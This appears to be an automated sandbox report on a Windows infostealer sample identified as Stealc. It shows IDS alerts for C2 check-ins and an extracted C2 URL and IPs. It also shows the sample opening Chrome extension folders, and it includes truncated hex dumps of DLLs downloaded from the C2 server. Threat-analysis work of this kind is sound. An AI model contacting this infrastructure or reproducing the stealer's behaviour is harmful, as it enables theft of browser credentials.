Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: tAa6xNsucX.exe, 00000000.00000002.2341269322.000000006C54F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: tAa6xNsucX.exe, 00000000.00000002.2341269322.000000006C54F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: tAa6xNsucX.exe, 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2044243 ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in 192.168.2.5:49705 -> 85.28.47.4:80
Source: Traffic	Snort IDS: 2044244 ET TROJAN Win32/Stealc Requesting browsers Config from C2 192.168.2.5:49705 -> 85.28.47.4:80
Source: Traffic	Snort IDS: 2051828 ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 85.28.47.4:80 -> 192.168.2.5:49705
Source: Traffic	Snort IDS: 2044246 ET TROJAN Win32/Stealc Requesting plugins Config from C2 192.168.2.5:49705 -> 85.28.47.4:80
Source: Traffic	Snort IDS: 2051831 ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 85.28.47.4:80 -> 192.168.2.5:49705

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 85.28.47.4/920475a59bac849d.php
Source: Malware configuration extractor	URLs: http://85.28.47.4/920475a59bac849d.php
Source: Malware configuration extractor	IPs: 147.45.47.155

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 27 Jun 2024 05:37:09 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 27 Jun 2024 05:37:13 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 27 Jun 2024 05:37:14 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 27 Jun 2024 05:37:15 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 27 Jun 2024 05:37:15 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 27 Jun 2024 05:37:17 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 27 Jun 2024 05:37:17 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 